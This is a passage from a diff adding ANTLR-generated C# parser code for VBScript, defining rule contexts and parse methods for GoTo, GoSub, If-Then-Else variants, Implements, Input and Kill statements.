[System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public GoSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_goSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterGoSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitGoSubStmt(this); + } + } + + [RuleVersion(0)] + public GoSubStmtContext goSubStmt() { + GoSubStmtContext _localctx = new GoSubStmtContext(Context, State); + EnterRule(_localctx, 108, RULE_goSubStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1364; + Match(GOSUB); + State = 1365; + Match(WS); + State = 1366; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class GoToStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public GoToStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_goToStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterGoToStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitGoToStmt(this); + } + } + + [RuleVersion(0)] + public GoToStmtContext goToStmt() { + GoToStmtContext _localctx = new GoToStmtContext(Context, State); + EnterRule(_localctx, 110, RULE_goToStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1368; + Match(GOTO); + State = 1369; + Match(WS); + State = 1370; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfThenElseStmtContext : ParserRuleContext { + public IfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifThenElseStmt; } } + + public IfThenElseStmtContext() { } + public virtual void CopyFrom(IfThenElseStmtContext context) { + base.CopyFrom(context); + } + } + public partial class BlockIfThenElseContext : IfThenElseStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public IfBlockStmtContext ifBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_IF() { return GetToken(VBScriptParser.END_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public IfElseIfBlockStmtContext[] ifElseIfBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public IfElseIfBlockStmtContext ifElseIfBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfElseBlockStmtContext ifElseBlockStmt() { + return GetRuleContext(0); + } + public BlockIfThenElseContext(IfThenElseStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlockIfThenElse(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlockIfThenElse(this); + } + } + + [RuleVersion(0)] + public IfThenElseStmtContext ifThenElseStmt() { + IfThenElseStmtContext _localctx = new IfThenElseStmtContext(Context, State); + EnterRule(_localctx, 112, RULE_ifThenElseStmt); + int _la; + try { + _localctx = new BlockIfThenElseContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 1372; + ifBlockStmt(); + State = 1376; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==ELSEIF) { + { + { + State = 1373; + ifElseIfBlockStmt(); + } + } + State = 1378; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1380; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==ELSE) { + { + State = 1379; + ifElseBlockStmt(); + } + } + + State = 1382; + Match(END_IF); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineIfThenElseStmtContext : ParserRuleContext { + public InlineIfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineIfThenElseStmt; } } + + public InlineIfThenElseStmtContext() { } + public virtual void CopyFrom(InlineIfThenElseStmtContext context) { + base.CopyFrom(context); + } + } + public partial class InlineIfThenElseContext : InlineIfThenElseStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public InlineIfBlockStmtContext inlineIfBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineElseBlockStmtContext inlineElseBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_IF() { return GetToken(VBScriptParser.END_IF, 0); } + public InlineIfThenElseContext(InlineIfThenElseStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineIfThenElse(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineIfThenElse(this); + } + } + + [RuleVersion(0)] + public InlineIfThenElseStmtContext inlineIfThenElseStmt() { + InlineIfThenElseStmtContext _localctx = new InlineIfThenElseStmtContext(Context, State); + EnterRule(_localctx, 114, RULE_inlineIfThenElseStmt); + try { + int _alt; + _localctx = new InlineIfThenElseContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 1384; + inlineIfBlockStmt(); + State = 1386; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,183,Context) ) { + case 1: + { + State = 1385; + inlineElseBlockStmt(); + } + break; + } + { + State = 1391; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,184,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1388; + Match(INLINE_SEP); + } + } + } + State = 1393; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,184,Context); + } + State = 1395; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,185,Context) ) { + case 1: + { + State = 1394; + Match(END_IF); + } + break; + } + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IF() { return GetToken(VBScriptParser.IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockContext inlineBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public InlineIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public InlineIfBlockStmtContext inlineIfBlockStmt() { + InlineIfBlockStmtContext _localctx = new InlineIfBlockStmtContext(Context, State); + EnterRule(_localctx, 116, RULE_inlineIfBlockStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1397; + Match(IF); + State = 1399; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,186,Context) ) { + case 1: + { + State = 1398; + Match(WS); + } + break; + } + State = 1401; + ifConditionStmt(); + State = 1403; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1402; + Match(WS); + } + } + + State = 1405; + Match(THEN); + State = 1407; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1406; + _la = TokenStream.LA(1); + if ( !(_la==INLINE_SEP || _la==WS) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1409; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,188,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1411; + inlineBlock(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InlineElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSE() { return GetToken(VBScriptParser.ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockContext inlineBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public InlineElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inlineElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInlineElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInlineElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public InlineElseBlockStmtContext inlineElseBlockStmt() { + InlineElseBlockStmtContext _localctx = new InlineElseBlockStmtContext(Context, State); + EnterRule(_localctx, 118, RULE_inlineElseBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1414; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==INLINE_SEP || _la==WS) { + { + State = 1413; + _la = TokenStream.LA(1); + if ( !(_la==INLINE_SEP || _la==WS) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + + State = 1416; + Match(ELSE); + State = 1417; + _la = TokenStream.LA(1); + if ( !(_la==INLINE_SEP || _la==WS) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1418; + inlineBlock(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IF() { return GetToken(VBScriptParser.IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + public IfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public IfBlockStmtContext ifBlockStmt() { + IfBlockStmtContext _localctx = new IfBlockStmtContext(Context, State); + EnterRule(_localctx, 120, RULE_ifBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1420; + Match(IF); + State = 1422; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,190,Context) ) { + case 1: + { + State = 1421; + Match(WS); + } + break; + } + State = 1424; + ifConditionStmt(); + State = 1426; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1425; + Match(WS); + } + } + + State = 1428; + Match(THEN); + State = 1430; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1429; + Match(NEWLINE); + } + } + State = 1432; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1440; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,194,Context) ) { + case 1: + { + State = 1434; + block(); + State = 1436; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1435; + Match(NEWLINE); + } + } + State = 1438; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfConditionStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public IfConditionStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifConditionStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfConditionStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfConditionStmt(this); + } + } + + [RuleVersion(0)] + public IfConditionStmtContext ifConditionStmt() { + IfConditionStmtContext _localctx = new IfConditionStmtContext(Context, State); + EnterRule(_localctx, 122, RULE_ifConditionStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1442; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfElseIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSEIF() { return GetToken(VBScriptParser.ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public IfElseIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifElseIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfElseIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfElseIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public IfElseIfBlockStmtContext ifElseIfBlockStmt() { + IfElseIfBlockStmtContext _localctx = new IfElseIfBlockStmtContext(Context, State); + EnterRule(_localctx, 124, RULE_ifElseIfBlockStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1444; + Match(ELSEIF); + State = 1445; + Match(WS); + State = 1446; + ifConditionStmt(); + State = 1447; + Match(WS); + State = 1448; + Match(THEN); + State = 1450; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1449; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1452; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,195,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1460; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,197,Context) ) { + case 1: + { + State = 1454; + block(); + State = 1456; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1455; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1458; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSE() { return GetToken(VBScriptParser.ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public IfElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterIfElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitIfElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public IfElseBlockStmtContext ifElseBlockStmt() { + IfElseBlockStmtContext _localctx = new IfElseBlockStmtContext(Context, State); + EnterRule(_localctx, 126, RULE_ifElseBlockStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1462; + Match(ELSE); + State = 1464; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1463; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1466; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,198,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1474; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1468; + block(); + State = 1470; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1469; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1472; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ImplementsStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMPLEMENTS() { return GetToken(VBScriptParser.IMPLEMENTS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public ImplementsStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_implementsStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterImplementsStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitImplementsStmt(this); + } + } + + [RuleVersion(0)] + public ImplementsStmtContext implementsStmt() { + ImplementsStmtContext _localctx = new ImplementsStmtContext(Context, State); + EnterRule(_localctx, 128, RULE_implementsStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1476; + Match(IMPLEMENTS); + State = 1477; + Match(WS); + State = 1478; + ambiguousIdentifier(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class InputStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INPUT() { return GetToken(VBScriptParser.INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public InputStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_inputStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterInputStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitInputStmt(this); + } + } + + [RuleVersion(0)] + public InputStmtContext inputStmt() { + InputStmtContext _localctx = new InputStmtContext(Context, State); + EnterRule(_localctx, 130, RULE_inputStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1480; + Match(INPUT); + State = 1481; + Match(WS); + State = 1482; + valueStmt(0); + State = 1491; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1484; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1483; + Match(WS); + } + } + + State = 1486; + Match(COMMA); + State = 1488; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,202,Context) ) { + case 1: + { + State = 1487; + Match(WS); + } + break; + } + State = 1490; + valueStmt(0); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1493; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,203,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class KillStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode KILL() { return GetToken(VBScriptParser.KILL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public KillStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_killStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterKillStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitKillStmt(this); + } + } + + [RuleVersion(0)] + public KillStmtContext killStmt() { + KillStmtContext _localctx = new KillStmtContext(Context, State); + EnterRule(_localctx, 132, RULE_killStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1495; + Match(KILL); + State = 1496; + Match(WS); 